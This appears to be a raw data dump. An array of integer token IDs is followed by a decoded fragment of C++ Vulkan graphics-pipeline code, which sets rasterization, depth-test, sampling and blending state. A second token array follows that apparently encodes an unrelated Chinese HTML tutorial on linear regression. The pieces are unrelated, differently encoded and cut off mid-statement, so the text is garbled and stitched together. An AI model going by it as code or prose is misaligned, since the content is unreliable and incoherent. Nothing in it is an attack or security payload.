15, 16719, 35, 6358, 10612, 1714, 17070, 426, 14679, 64, 19012, 28, 187, 50274, 94, 187, 50274, 4353, 39071, 47469, 1450, 26028, 11594, 1450, 25902, 64, 16719, 64, 39043, 1082, 551, 187, 50270, 83, 2237, 1320, 64, 3409, 15, 16719, 35, 6358, 27265, 426, 657, 44, 64, 33814, 28, 187, 50270, 83, 2237, 1320, 64, 3409, 15, 16719, 35, 6358, 29080, 17070, 426, 470, 15, 17, 28, 187, 50270, 83, 2237, 1320, 64, 3409, 15, 16719, 35, 6358, 2019, 1301, 426, 470, 15, 17, 28, 187, 50270, 83, 2237, 1320, 64, 3409, 15, 16719, 35, 6358, 10612, 1714, 17070, 426, 470, 15, 17, 28, 187, 50274, 94, 535, 50274, 4353, 39071, 47469, 1450, 26028, 11594, 1450, 26028, 11594, 1450, 14760, 64, 16719, 64, 2566, 1082, 551, 187, 50270, 16719, 64, 296, 21177, 64, 3409, 15, 16719, 10639, 27265, 426, 657, 44, 64, 26501, 28, 187, 50270, 16719, 64, 296, 21177, 64, 3409, 15, 16719, 5089, 27265, 50276, 30, 657, 44, 64, 26501, 28, 187, 50274, 94, 535, 50274, 4353, 39071, 47469, 1450, 26028, 11594, 1450, 26028, 11594, 1450, 14760, 64, 16719, 64, 2566, 9, 10975, 3630, 10, 551, 187, 50270, 338, 313, 6343, 10, 551, 187, 50266, 16719, 64, 296, 21177, 64, 3409, 15, 16719, 10639, 27265, 426, 657, 44, 64, 26501, 28, 187, 50270, 94, 2010, 551, 187, 50266, 16719, 64, 296, 21177, 64, 3409, 15, 16719, 10639, 27265, 426, 657, 44, 64, 33814, 28, 187, 50270, 94, 535, 50270, 16719, 64, 296, 21177, 64, 3409, 15, 16719, 5089, 27265, 50276, 30, 657, 44, 64, 26501, 28, 187, 50274, 94, 535, 50274, 4353, 39071, 47469, 1450, 26028, 11594, 1450, 1178, 64, 16719, 64, 2566, 64, 23813, 9, 55, 76, 33925, 12535, 4254, 10, 551, 187, 50270, 16719, 64, 296, 21177, 64, 3409, 15, 16719, 33925, 12535, 426, 4254, 28, 187, 50274, 94, 535, 50274, 4353, 39071, 47469, 1450, 26028, 11594, 1450, 25902, 64, 16719, 64, 2566, 9, 10975, 3630, 10, 551, 187, 50270, 338, 313, 6343, 10, 551, 187, 50266, 16719, 64, 296, 21177, 64, 3409, 15, 16719, 10639, 27265, 426, 657, 44, 64, 26501, 28, 187, 50270, 94, 2010, 551, 187, 50266, 16719, 64, 296, 21177, 64, 3409, 15, 16719, 10639, 27265, 426, 657, 44, 64, 33814, 28, 187, 50270, 94, 535, 50270, 16719, 64, 296, 21177, 64, 3409, 15, 16719, 5089, 27265, 50276, 30, 657, 44, 64, 33814, 28, 187, 50274, 94, 535, 50274, 4353, 39071, 47469, 1450, 26028, 11594, 1450, 25902, 64, 16719, 64, 2566, 1082, 551, 187, 50270, 16719, 64, 296, 21177, 64, 3409, 15, 16719, 10639, 27265, 426, 657, 44, 64, 33814, 28, 187, 50270, 16719, 64, 296, 21177, 64, 3409, 15, 16719, 5089, 27265, 50276, 30, 657, 44, 64, 33814, 28, 187, 50274, 94, 535, 50274, 4353, 39071, 47469, 1450, 26028, 11594, 1450, 1178, 64, 33380, 9, 55, 76, 19352, 6878, 22532, 31736, 3530, 10, 551, 187, 50270, 9961, 261, 4636, 64, 3409, 15, 83, 2237, 1320, 49644, 426, 3530, 28, 187, 50274, 94, 535, 50274, 55, 76, 19352, 6878, 22532, 31736, 39071, 47469, 1450, 26028, 11594, 1450, 788, 64, 33380, 1082, 1030, 551, 187, 50270, 2309, 1554, 261, 4636, 64, 3409, 15, 83, 2237, 1320, 49644, 28, 187, 50274, 94, 535, 50274, 4353, 39071, 47469, 1450, 26028, 11594, 1450, 14760, 64, 16848, 64, 1200, 6748, 9, 9599, 5927, 10, 551, 187, 50270, 9961, 261, 4636, 64, 3409, 15, 16848, 2809, 6748, 27265, 426, 657, 44, 64, 26501, 28, 187, 50270, 9961, 261, 4636, 64, 3409, 15, 1222, 19352, 2809, 6748, 426, 5927, 28, 187, 50274, 94, 535, 50274, 4353, 39071, 47469, 1450, 26028, 11594, 1450, 25902, 64, 16848, 64, 1200, 6748, 1082, 551, 187, 50270, 9961, 261, 4636, 64, 3409, 15, 16848, 2809, 6748, 27265, 426, 657, 44, 64, 33814, 28, 187, 50270, 9961, 261, 4636, 64, 3409, 15, 1222, 19352, 2809, 6748, 426, 337, 15, 17, 28, 187, 50274, 94, 535, 50274, 4353, 39071, 47469, 1450, 26028, 11594, 1450, 25902, 64, 1559, 1946, 64, 1542, 9, 8400, 1450, 8531, 1237, 64, 85, 247, 10, 551, 187, 50270, 338, 313, 38729, 942, 15, 3281, 1082, 11049, 247, 10, 551, 187, 50266, 38729, 942, 15, 35621, 9, 66, 559, 337, 558, 187, 50270, 94, 535, 50270, 38729, 942, 60, 66, 1570, 1559, 423, 27265, 426, 657, 44, 64, 33814, 28, 535, 50270, 4897, 64, 1559, 1946, 64, 3409, 15, 47537, 6878, 426, 37969, 15, 3281, 1874, 187, 50270, 4897, 64, 1559, 1946, 64, 3409, 15, 81, 6601, 607, 942, 50274, 30, 37969, 15, 2203, 1874, 187, 50274, 94, 535, 50274, 4353, 39071, 47469, 1450, 26028, 11594, 1450, 14760, 64, 1637, 64, 1559, 1946, 64, 1542, 9, 8400, 1450, 8531, 1237, 64, 85, 247, 10, 551, 187, 50270, 338, 313, 38729, 942, 15, 3281, 1082, 11049, 247, 10, 551, 187, 50266, 38729, 942, 15, 35621, 9, 66, 559, 337, 558, 187, 50270, 94, 535, 50270, 38729, 942, 60, 66, 1570, 4897, 10639, 17031, 426, 50276, 55, 44, 64, 38505, 64, 27550, 1139, 3489, 64, 51, 64, 14609, 1040, 187, 50254, 245, 50265, 209, 657, 44, 64, 38505, 64, 27550, 1139, 3489, 64, 40, 64, 14609, 1040, 187, 50254, 245, 50265, 209, 657, 44, 64, 38505, 64, 27550, 1139, 3489, 64, 35, 64, 14609, 1040, 187, 50254, 245, 50265, 209, 657, 44, 64, 38505, 64, 27550, 1139, 3489, 64, 34, 64, 14609, 28, 187, 50270, 38729, 942, 60, 66, 1570, 1559, 423, 27265, 426, 657, 44, 64, 26501, 28, 187, 50270, 38729, 942, 60, 66, 1570, 7614, 6573, 5622, 423, 17070, 426, 657, 44, 64, 5993, 8112, 64, 5377, 39321, 64, 31694, 64, 1556, 37660, 28, 187, 50270, 38729, 942, 60, 66, 1570, 19335, 6573, 5622, 423, 17070, 426, 657, 44, 64, 5993, 8112, 64, 5377, 39321, 64, 11147, 64, 17258, 3016, 64, 31694, 64, 1556, 37660, 28, 187, 50270, 38729, 942, 60, 66, 1570, 4897, 5622, 423, 12535, 426, 657, 44, 64, 5993, 8112, 64, 2795, 64, 19873, 28, 187, 50270, 38729, 942, 60, 66, 1570, 7614, 29858, 5622, 423, 17070, 426, 657, 44, 64, 5993, 8112, 64, 5377, 39321, 64, 11147, 28, 187, 50270, 38729, 942, 60, 66, 1570, 19335, 29858, 5622, 423, 17070, 426, 657, 44, 64, 5993, 8112, 64, 5377, 39321, 64, 59, 34675, 28, 187, 50270, 38729, 942, 60, 66, 1570, 1637, 5622, 423, 12535, 426, 657, 44, 64, 5993, 8112, 64, 2795, 64, 19873, 28, 535, 50270, 4897, 64, 1559, 1946, 64, 3409, 15, 47537, 6878, 426, 37969, 15, 3281, 1874, 187, 50270, 4897, 64, 1559, 1946, 64, 3409, 15, 81, 6601, 607, 942, 50274, 30, 37969, 15, 2203, 1874, 187, 50274, 94, 535, 50274, 4353, 39071, 47469, 1450, 26028, 11594, 1450, 14760, 64, 1911, 1483, 64, 1559, 1946, 64, 1542, 9, 8400, 1450, 8531, 1237, 64, 85, 247, 10, 551, 187, 50270, 338, 313, 38729, 942, 15, 3281, 1082, 11049, 247, 10, 551, 187, 50266, 38729, 942, 15, 35621, 9, 66, 559, 337, 558, 187, 50270, 94, 535, 50270, 38729, 942, 60, 66, 1570, 4897, 10639, 17031, 426, 50276, 55, 44, 64, 38505, 64, 27550, 1139, 3489, 64, 51, 64, 14609, 1040, 187, 50254, 245, 50265, 209, 657, 44, 64, 38505, 64, 27550, 1139, 3489, 64, 40, 64, 14609, 1040, 187, 50254, 245, 50265, 209, 657, 44, 64, 38505, 64, 27550, 1139, 3489, 64, 35, 64, 14609, 1040, 187, 50254, 245, 50265, 209, 657, 44, 64, 38505, 64, 27550, 1139, 3489, 64, 34, 64, 14609, 28, 187, 50270, 38729, 942, 60, 66, 1570, 1559, 423, 27265, 426, 657, 44, 64, 26501, 28, 187, 50270, 38729, 942, 60, 66, 1570, 7614, 6573, 5622, 423, 17070, 426, 657, 44, 64, 5993, 8112, 64, 5377, 39321, 64, 11147, 28, 187, 50270, 38729, 942, 60, 66, 1570, 19335, 6573, 5622, 423, 17070, 426, 657, 44, 64, 5993, 8112, 64, 5377, 39321, 64, 11147, 64, 17258, 3016, 64, 31694, 64, 1556, 37660, 28, 187, 50270, 38729, 942, 60, 66, 1570, 4897, 5622, 423, 12535, 426, 657, 44, 64, 5993, 8112, 64, 2795, 64, 19873, 28, 187, 50270, 38729, 942, 60, 66, 1570, 7614, 29858, 5622, 423, 17070, 426, 657, 44, 64, 5993, 8112, 64, 5377, 39321, 64, 11147, 28, 187, 50270, 38729, 942, 60, 66, 1570, 19335, 29858, 5622, 423, 17070, 426, 657, 44, 64, 5993, 8112, 64, 5377, 39321, 64, 59, 34675, 28, 187, 50270, 38729, 942, 60, 66, 1570, 1637, 5622, 423, 12535, 426, 657, 44, 64, 5993, 8112, 64, 2795, 64, 19873, 28, 535, 50270, 4897, 64, 1559, 1946, 64, 3409, 15, 47537, 6878, 426, 37969, 15, 3281, 1874, 187, 50270, 4897, 64, 1559, 1946, 64, 3409, 15, 81, 6601, 607, 942, 50274, 30, 37969, 15, 2203, 1874, 187, 50274, 94, 535, 50274, 4353, 39071, 47469, 1450, 26028, 11594, 1450, 1911, 64, 19681, 64, 3409, 9, 55, 76, 31535, 5443, 7870, 64, 3409, 10, 551, 187, 50270, 19681, 64, 21196, 15, 11340, 64, 2135, 9, 19681, 64, 3409, 558, 187, 50270, 2520, 1168, 19681, 64, 3409, 15, 19681, 5443, 6878, 426, 7870, 64, 21196, 15, 3281, 1874, 187, 50270, 2520, 1168, 19681, 64, 3409, 15, 81, 31535, 27121, 50274, 30, 7870, 64, 21196, 15, 2203, 1874, 187, 50274, 94, 535, 50274, 3474, 39071, 47469, 1450, 26028, 11594, 7, 39071, 47469, 1450, 788, 64, 20188, 64, 20619, 1082, 1030, 551, 187, 50270, 2309, 4229, 64, 20619, 28, 187, 50274, 94, 535, 50274, 8400, 1450, 8531, 1237, 64, 85, 39071, 47469, 1450, 788, 64, 2377, 5858, 1082, 1030, 551, 187, 50270, 2309, 749, 5858, 64, 4663, 28, 187, 50274, 94, 535, 50274, 26912, 12161, 7, 39071, 47469, 1450, 788, 64, 12574, 64, 5858, 1082, 1030, 551, 187, 50270, 2309, 475, 12574, 64, 5858, 28, 187, 50274, 94, 535, 50274, 3474, 6268, 1450, 11000, 29, 55, 76, 47469, 38031, 30635, 9395, 6074, 12399, 187, 50274, 37430, 47469, 1450, 788, 64, 1200, 6475, 64, 296, 1131, 1082, 1030, 551, 187, 50270, 2309, 49944, 64, 296, 1131, 28, 187, 50274, 94, 535, 50274, 4353, 39071, 47469, 1450, 1178, 64, 1200, 6475, 64, 296, 1131, 9, 8400, 1450, 11000, 29, 38031, 13570, 12399, 439, 16208, 10, 551, 187, 50270, 19586, 1320, 64, 3474, 1103, 15, 8250, 1874, 187, 50270, 1200, 6475, 64, 296, 1131, 15, 8250, 1874, 187, 50270, 1200, 6475, 64, 296, 1131, 15, 373, 4003, 9, 1200, 16208, 15, 3281, 6020, 187, 50270, 19586, 1320, 64, 3474, 1103, 15, 373, 4003, 9, 1200, 16208, 15, 3281, 6020, 535, 50270, 1542, 313, 15149, 7, 49944, 1163 ]

asterization_state.frontFace; } void GraphicsPipeline::FixedFunction::set_front_face(VkFrontFace front_face) { rasterization_state.frontFace = front_face; } void GraphicsPipeline::FixedFunction::enable_depth_clamp() { rasterization_state.depthClampEnable = VK_TRUE; } void GraphicsPipeline::FixedFunction::disable_depth_clamp() { rasterization_state.depthClampEnable = VK_FALSE; } void GraphicsPipeline::FixedFunction::disable_discarding() { rasterization_state.rasterizerDiscardEnable = VK_FALSE; } void GraphicsPipeline::FixedFunction::enable_discarding() { rasterization_state.rasterizerDiscardEnable = VK_TRUE; } void GraphicsPipeline::FixedFunction::enable_depth_bias() { rasterization_state.depthBiasEnable = VK_TRUE; } void GraphicsPipeline::FixedFunction::enable_depth_bias(float constant_factor, float clamp, float slope_factor) { rasterization_state.depthBiasEnable = VK_TRUE; rasterization_state.depthBiasConstantFactor = constant_factor; rasterization_state.depthBiasClamp = clamp; rasterization_state.depthBiasSlopeFactor = slope_factor; } void GraphicsPipeline::FixedFunction::disable_depth_bias() { rasterization_state.depthBiasEnable = VK_FALSE; rasterization_state.depthBiasConstantFactor = 0.0; rasterization_state.depthBiasClamp = 0.0; rasterization_state.depthBiasSlopeFactor = 0.0; } void GraphicsPipeline::FixedFunction::FixedFunction::enable_depth_test() { depth_stencil_state.depthWriteEnable = VK_TRUE; depth_stencil_state.depthTestEnable = VK_TRUE; } void GraphicsPipeline::FixedFunction::FixedFunction::enable_depth_test(bool write) { if (write) { depth_stencil_state.depthWriteEnable = VK_TRUE; } else { depth_stencil_state.depthWriteEnable = VK_FALSE; } depth_stencil_state.depthTestEnable = VK_TRUE; } void GraphicsPipeline::FixedFunction::set_depth_test_compare(VkCompareOp operation) { depth_stencil_state.depthCompareOp = operation; } void GraphicsPipeline::FixedFunction::disable_depth_test(bool write) { if (write) { depth_stencil_state.depthWriteEnable = VK_TRUE; } else { depth_stencil_state.depthWriteEnable = VK_FALSE; } depth_stencil_state.depthTestEnable = VK_FALSE; } void GraphicsPipeline::FixedFunction::disable_depth_test() { depth_stencil_state.depthWriteEnable = VK_FALSE; depth_stencil_state.depthTestEnable = VK_FALSE; } void GraphicsPipeline::FixedFunction::set_samples(VkSampleCountFlagBits samples) { multisample_state.rasterizationSamples = samples; } VkSampleCountFlagBits GraphicsPipeline::FixedFunction::get_samples() const { return multisample_state.rasterizationSamples; } void GraphicsPipeline::FixedFunction::enable_sample_shading(float minimum) { multisample_state.sampleShadingEnable = VK_TRUE; multisample_state.minSampleShading = minimum; } void GraphicsPipeline::FixedFunction::disable_sample_shading() { multisample_state.sampleShadingEnable = VK_FALSE; multisample_state.minSampleShading = 1.0; } void GraphicsPipeline::FixedFunction::disable_blending_for(std::uint32_t a) { if (attachments.size() <= a) { attachments.resize(a + 1); } attachments[a].blendEnable = VK_FALSE; color_blending_state.attachmentCount = attachments.size(); color_blending_state.pAttachments = attachments.data(); } void GraphicsPipeline::FixedFunction::enable_alpha_blending_for(std::uint32_t a) { if (attachments.size() <= a) { attachments.resize(a + 1); } attachments[a].colorWriteMask = VK_COLOR_COMPONENT_R_BIT | VK_COLOR_COMPONENT_G_BIT | VK_COLOR_COMPONENT_B_BIT | VK_COLOR_COMPONENT_A_BIT; attachments[a].blendEnable = VK_TRUE; attachments[a].srcColorBlendFactor = VK_BLEND_FACTOR_SRC_ALPHA; attachments[a].dstColorBlendFactor = VK_BLEND_FACTOR_ONE_MINUS_SRC_ALPHA; attachments[a].colorBlendOp = VK_BLEND_OP_ADD; attachments[a].srcAlphaBlendFactor = VK_BLEND_FACTOR_ONE; attachments[a].dstAlphaBlendFactor = VK_BLEND_FACTOR_ZERO; attachments[a].alphaBlendOp = VK_BLEND_OP_ADD; color_blending_state.attachmentCount = attachments.size(); color_blending_state.pAttachments = attachments.data(); } void GraphicsPipeline::FixedFunction::enable_additive_blending_for(std::uint32_t a) { if (attachments.size() <= a) { attachments.resize(a + 1); } attachments[a].colorWriteMask = VK_COLOR_COMPONENT_R_BIT | VK_COLOR_COMPONENT_G_BIT | VK_COLOR_COMPONENT_B_BIT | VK_COLOR_COMPONENT_A_BIT; attachments[a].blendEnable = VK_TRUE; attachments[a].srcColorBlendFactor = VK_BLEND_FACTOR_ONE; attachments[a].dstColorBlendFactor = VK_BLEND_FACTOR_ONE_MINUS_SRC_ALPHA; attachments[a].colorBlendOp = VK_BLEND_OP_ADD; attachments[a].srcAlphaBlendFactor = VK_BLEND_FACTOR_ONE; attachments[a].dstAlphaBlendFactor = VK_BLEND_FACTOR_ZERO; attachments[a].alphaBlendOp = VK_BLEND_OP_ADD; color_blending_state.attachmentCount = attachments.size(); color_blending_state.pAttachments = attachments.data(); } void GraphicsPipeline::FixedFunction::add_dynamic_state(VkDynamicState dynamic_state) { dynamic_states.push_back(dynamic_state); this->dynamic_state.dynamicStateCount = dynamic_states.size(); this->dynamic_state.pDynamicStates = dynamic_states.data(); } const GraphicsPipeline::FixedFunction& GraphicsPipeline::get_fixed_functions() const { return fixed_functions; } std::uint32_t GraphicsPipeline::get_subpass() const { return subpass_index; } RenderPass& GraphicsPipeline::get_render_pass() const { return *render_pass; } const std::vector<VkPipelineShaderStageCreateInfo>& GraphicsPipeline::get_shader_stages() const { return shader_stages; } void GraphicsPipeline::set_shader_stages(std::vector<ShaderModule>& shaders) { specialization_constants.clear(); shader_stages.clear(); shader_stages.reserve(shaders.size()); specialization_constants.reserve(shaders.size()); for (auto& shader :

[ 966, 568, 80, 1138, 8239, 2551, 2730, 2551, 966, 568, 79, 1138, 29844, 870, 2551, 2730, 2551, 966, 568, 81, 1138, 9, 870, 2551, 2730, 2551, 966, 568, 79, 1138, 45, 870, 2551, 2730, 2551, 966, 568, 81, 1138, 13, 870, 2551, 31, 654, 2551, 966, 568, 81, 1138, 60, 870, 2551, 2730, 2551, 966, 568, 79, 1138, 88, 870, 2551, 2730, 2551, 966, 568, 81, 1138, 13, 870, 2551, 31, 654, 2551, 966, 568, 79, 1138, 67, 870, 2551, 2730, 2551, 966, 568, 81, 1138, 3291, 870, 2551, 31, 50270, 29, 2551, 966, 568, 68, 18, 1138, 4, 209, 14129, 96, 47615, 45, 9, 88, 13, 270, 10, 40500, 30329, 88, 13, 270, 5225, 28915, 226, 13744, 122, 15531, 870, 2551, 31, 187, 29, 2551, 966, 568, 5668, 1138, 3845, 870, 2551, 2730, 2551, 966, 568, 81, 1138, 9, 870, 2551, 2730, 2551, 966, 568, 79, 1138, 45, 870, 2551, 2730, 2551, 966, 568, 81, 1138, 13, 870, 2551, 31, 654, 2551, 966, 568, 79, 1138, 88, 64, 4971, 870, 2551, 2730, 2551, 966, 568, 81, 1138, 13, 870, 2551, 31, 654, 2551, 966, 568, 79, 1138, 67, 64, 4971, 870, 2551, 2730, 2551, 966, 568, 81, 1138, 17266, 2551, 31, 187, 870, 3456, 3073, 2154, 31, 187, 870, 2154, 31, 187, 29, 81, 31, 21365, 230, 18678, 19282, 81, 31, 187, 29, 2154, 966, 568, 30703, 14, 6986, 417, 16147, 12579, 5264, 2154, 966, 568, 30703, 5264, 3456, 2730, 2551, 3073, 2551, 2730, 2551, 966, 568, 79, 1138, 16114, 870, 2551, 2730, 2551, 966, 568, 80, 1138, 8239, 2551, 2730, 2551, 966, 568, 79, 1138, 39596, 870, 2551, 2730, 2551, 966, 568, 81, 1138, 9, 870, 2551, 2730, 2551, 966, 568, 32067, 1138, 9312, 15, 17, 870, 2551, 2730, 2551, 966, 568, 81, 1138, 13, 870, 2551, 31, 654, 2551, 966, 568, 79, 1138, 15721, 870, 2551, 2730, 2551, 966, 568, 80, 1138, 30, 870, 2551, 2730, 2551, 966, 568, 81, 1138, 5715, 870, 2551, 31, 654, 2551, 966, 568, 79, 1138, 69, 881, 870, 2551, 2730, 2551, 966, 568, 80, 1138, 30, 870, 2551, 2730, 2551, 966, 568, 79, 1138, 9599, 1237, 870, 2551, 2730, 2551, 966, 568, 81, 1138, 17266, 2551, 31, 187, 29, 2551, 966, 568, 79, 1138, 16114, 870, 2551, 2730, 2551, 966, 568, 80, 1138, 8239, 2551, 2730, 2551, 966, 568, 79, 1138, 39596, 870, 2551, 2730, 2551, 966, 568, 81, 1138, 9, 870, 2551, 31, 187, 29, 2551, 966, 568, 81, 1138, 14598, 870, 2551, 31, 654, 2551, 966, 568, 32067, 1138, 1967, 8239, 2551, 2730, 2551, 966, 568, 81, 1138, 62, 870, 2551, 31, 187, 29, 2551, 966, 568, 81, 1138, 60, 870, 2551, 2730, 2551, 966, 568, 32067, 1138, 2313, 8239, 2551, 2730, 2551, 966, 568, 81, 1138, 31011, 870, 2551, 31, 654, 2551, 966, 568, 79, 1138, 15721, 870, 2551, 2730, 2551, 966, 568, 80, 1138, 30, 870, 2551, 2730, 2551, 966, 568, 81, 1138, 9, 870, 2551, 2730, 2551, 966, 568, 7373, 1138, 19, 870, 2551, 2730, 2551, 966, 568, 81, 1138, 13, 870, 2551, 31, 654, 2551, 966, 568, 7373, 1138, 18, 870, 2551, 2730, 2551, 966, 568, 81, 1138, 582, 870, 2551, 31, 654, 2551, 966, 568, 79, 1138, 69, 881, 870, 2551, 2730, 2551, 966, 568, 80, 1138, 30, 870, 2551, 2730, 2551, 966, 568, 79, 1138, 9599, 1237, 870, 2551, 2730, 2551, 966, 568, 81, 1138, 17266, 2551, 31, 187, 29, 2551, 966, 568, 79, 1138, 16114, 870, 2551, 2730, 2551, 966, 568, 80, 1138, 8239, 2551, 2730, 2551, 966, 568, 79, 1138, 39596, 870, 2551, 2730, 2551, 966, 568, 81, 1138, 9, 870, 2551, 2730, 2551, 966, 568, 32067, 1138, 1229, 15, 17, 870, 2551, 2730, 2551, 966, 568, 81, 1138, 13, 870, 2551, 31, 654, 2551, 966, 568, 79, 1138, 15721, 870, 2551, 2730, 2551, 966, 568, 80, 1138, 30, 870, 2551, 2730, 2551, 966, 568, 81, 1138, 5715, 870, 2551, 31, 654, 2551, 966, 568, 79, 1138, 69, 881, 870, 2551, 2730, 2551, 966, 568, 80, 1138, 30, 870, 2551, 2730, 2551, 966, 568, 79, 1138, 9599, 1237, 870, 2551, 2730, 2551, 966, 568, 81, 1138, 17266, 2551, 31, 187, 870, 3456, 3073, 2154, 31, 187, 870, 2154, 31, 187, 29, 81, 31, 20622, 42013, 6238, 654, 3211, 966, 568, 7152, 18833, 22436, 417, 16147, 12579, 5264, 2551, 966, 568, 3456, 1138, 16114, 15, 15044, 46410, 2551, 3073, 3211, 31, 209, 44508, 224, 21275, 29440, 24160, 25949, 21365, 230, 23373, 12811, 243, 37079, 5225, 22985, 226, 27896, 44114, 48815, 43741, 44084, 20005, 6238, 14274, 43316, 47570, 12811, 243, 37079, 14318, 97, 43397, 4340, 654, 3211, 966, 568, 7152, 18833, 22436, 417, 16147, 12579, 5264, 2551, 966, 568, 3456, 1138, 16114, 15, 35878, 64, 2204, 46410, 2551, 3073, 3211, 31, 209, 44508, 224, 21275, 29440, 24160, 25949, 21365, 230, 23373, 12811, 243, 37079, 5225, 25276, 14377, 44114, 48815, 43741, 21458, 6238, 21365, 230, 18678, 27896, 14318, 97, 43397, 20326, 45249, 5225, 29268, 109, 37079, 12811, 243, 37079, 14236, 33018, 27804, 32004, 654, 3211, 966, 568, 7152, 18833, 22436, 417, 16147, 12579, 5264, 2551, 966, 568, 3456, 1138, 10565, 870, 2551, 3073, 3211, 31, 209, 39573, 15531, 24370, 34811, 17576, 43741, 21458, 5225, 12755, 114, 29485, 6238, 14274, 34811, 17576, 6765, 236, 37215, 235, 14129, 99, 25949, 25276, 14377, 44114, 48815, 43741, 21458, 14106, 4340, 39596, 20671, 13609, 14377, 15962, 37079, 5225, 12811, 243, 37079, 44508, 224, 21275, 11252, 6238, 15899, 216, 23825, 107, 15531, 28586, 9078, 227, 47615, 4746, 12811, 243, 37079, 14318, 97, 43397, 44508, 224, 21275, 14236, 25434, 654, 3211, 966, 568, 7152, 18833, 22436, 417, 16147, 12579, 5264, 2551, 966, 568, 3456, 1138, 16114, 15, 2935, 2259, 46410, 2551, 3073, 3211, 31, 14106, 4746, 6765, 218, 15957, 218, 21458, 9078, 241, 33474, 14236, 25434, 654, 3211, 966, 568, 7152, 18833, 22436, 417, 16147, 12579, 5264, 2551, 966, 568, 3456, 1138, 16114, 15, 35707, 46410, 2551, 3073, 3211, 31, 14106, 38563, 24899, 49288, 35498, 34380, 6238, 33018, 27804, 32004, 48950, 29852, 216, 39596, 20671, 5225, 6916, 235, 20005, 11252, 20855, 35072, 98, 654, 66, 966, 568, 8938, 9939, 14, 14005, 26609, 3, 3860, 10817, 71, 20, 3, 2654, 568, 301, 26, 1138, 19, 870, 66, 31, 209, 24370, 36778, 9850, 14486, 100, 17492, 33273, 4340, 870, 81, 31, 187, 29, 81, 31, 5690, 225, 21365, 230, 18678, 18148, 17559, 212, 6238, 39596, 20671, 15446, 108, 11043, 104, 31486, 14129, 96, 47615, 18678, 17492, 870, 81, 31, 187, 29, 2154, 966, 568, 679, 1138, 187, 29, 81, 2730, 8428, 6740, 12227, 64, 13485, 16, 679, 16, 18, 317, 41328, 9194, 1967, 67, 3208, 68, 740, 68, 19490, 71, 3593, 69, 3121, 70, 2320, 4148, 70, 24, 70, 42198, 69, 3439, 15, 8567, 3, 6945, 568, 45, 4464, 18, 13, 374, 4800, 53, 13, 337, 10, 708, 1301, 28, 30, 11140, 187, 187, 61, 1124, 464, 3214, 418, 9, 88, 13, 270, 15734, 3214, 259, 94, 1040, 578, 88, 426, 313, 18, 13, 374, 4800, 53, 13, 270, 426, 337, 94, 708, 1301, 28, 30, 393, 2043, 92, 20809, 94, 5571, 3202, 2233, 61, 423, 92, 20809, 94, 187, 187, 61, 1124, 464, 3214, 418, 9, 88, 13, 270, 15734, 3214, 270, 94, 1040, 578, 88, 426, 313, 18, 13, 374, 4800, 53, 13, 270, 426, 337, 94, 708, 1301, 28, 30, 1884, 36561, 3073, 81, 31, 187, 870, 2154, 3073, 2154, 31, 187, 29, 2154, 966, 568, 4674, 3, 2654, 568, 20122, 14, 73, 507, 14, 8172, 14, 1747, 1256, 1138, 187, 29, 2551, 2654, 568, 301, 740, 6750, 2551, 2730, 73, 19, 31, 41140, 49835, 211, 30420, 32378, 18140, 29268, 125, 21734, 26270, 14318, 229, 29, 66, 966, 568, 10146, 4492, 3, 3860, 10817, 20122, 14, 73, 507, 14, 8172, 14, 1747, 1256, 3, 4060, 568, 17289, 118, 11871, 216, 165, 230, 124, 33474, 16787, 113, 42292, 27107, 235, 1138, 7307, 870, 66, 3073, 73, 19, 31, 187, 29, 2154, 966, 568, 324, 2163, 539, 14, 40496, 539, 1138, 187, 29, 81, 966, 568, 324, 2163, 539, 14, 5564, 1138, 41140, 49835, 211, 34609, 11894, 217, 21458, 39673, 24017, 870, 81, 31, 187, 29, 335, 966, 568, 19583, 1138, 187, 29, 965, 2730, 81, 31, 54, 4639, 6721, 49873, 31949, 654, 66, 966, 568, 14005, 6024, 3, 3860, 568, 2413, 1358, 2375, 392, 77, 15, 18549, 4379, 15, 13808, 16, 85, 37929, 16, 35421, 16, 24211, 5785, 1256, 40354, 24211, 3667, 1256, 870, 66, 31, 209, 9850, 36387, 213, 4340, 870, 81, 3073, 965, 31, 187, 870, 335, 31, 187, 870, 2154, 31, 187, 29, 81, 31, 45466, 46982, 228, 27896, 36750, 17783, 216, 49271, 27107, 235, 6238, 26974, 227, 26581, 225, 42335, 13610, 6622, 19144, 14, 7132, 19144, 5225, 8650, 125, 5690, 117, 25434, 20720, 24160, 25276, 30420, 18140, 870, 81, 31, 187, 29, 2420, 966, 568, 7152, 18833, 8495, 14, 6986, 1138, 187, 29, 2052, 4399, 31, 187, 29, 2052, 3740, 568, 3429, 27, 655, 28764, 4725, 187, 29, 2052, 3740, 568, 3429, 27, 1668, 28764, 4725, 187, 29, 2052, 3740, 568, 3429, 27, 1668, 28764, 4725, 187, 29, 2052, 3740, 568, 3429, 27, 1668, 28764, 4725, 187, 29, 2052, 3740, 568, 3429, 27, 1668, 28764, 4725, 187, 29, 2052, 3740, 568, 3429, 27, 1668, 28764, 4725, 187, 870, 2052, 4399, 31, 187, 29, 30892, 31, 187, 29, 1206, 966, 568, 736, 14, 13323, 5264, 2851, 2730, 81, 31, 19144, 5690, 123, 870, 81, 3073, 2851, 31, 187, 29, 2851, 2730, 81, 31, 6622, 870, 81, 3073, 2851, 31, 187, 29, 2851, 2730, 81, 31, 6759, 870, 81, 3073, 2851, 31, 187, 29, 2851, 2730, 81, 31, 6620, 870, 81, 3073, 2851, 31, 187, 29, 2851, 2730, 81, 31, 6961, 870, 81, 3073, 2851, 31, 187, 29, 2851, 2730, 81, 31, 7132, 870, 81, 3073, 2851, 31, 187, 870, 1206, 31, 187, 29, 1206, 966, 568, 736, 14, 9154, 5264, 2851, 2730, 81, 31, 8650, 125, 5690, 117, 870, 81, 3073, 2851, 31, 187, 29, 2851, 2730, 81, 31, 805, 933, 870, 81, 3073, 2851, 31, 187, 29, 2851, 2730, 81, 31, 1047, 933, 870, 81, 3073, 2851, 31, 187, 29, 2851, 2730, 81, 31, 1010, 933, 870, 81, 3073, 2851, 31, 187, 29, 2851, 2730, 81, 31, 1036, 5388, 870, 81, 3073, 2851, 31, 187, 29, 2851, 2730, 81, 31, 1166, 5388, 870, 81, 3073, 2851, 31, 187, 870, 1206, 31, 187, 870, 30892, 31, 187, 870, 2420, 31, 187, 29, 81, 31, 35321, 13610, 6238, 31486, 15446, 223, 5959, 238, 27804, 32004, 25949, 11894, 100, 36998, 36778, 16677, 29268, 125, 21734, 26270, 14318, 229, 6238, 12363, 113, 29463, 29268, 125, 21734, 41202, 34380, 654, 8428, 966, 568, 679, 3, 6740, 12227, 64, 13485, 16, 679, 16, 2904, 2082, 2787, 16587, 3547, 336, 453, 2904, 1812, 3593, 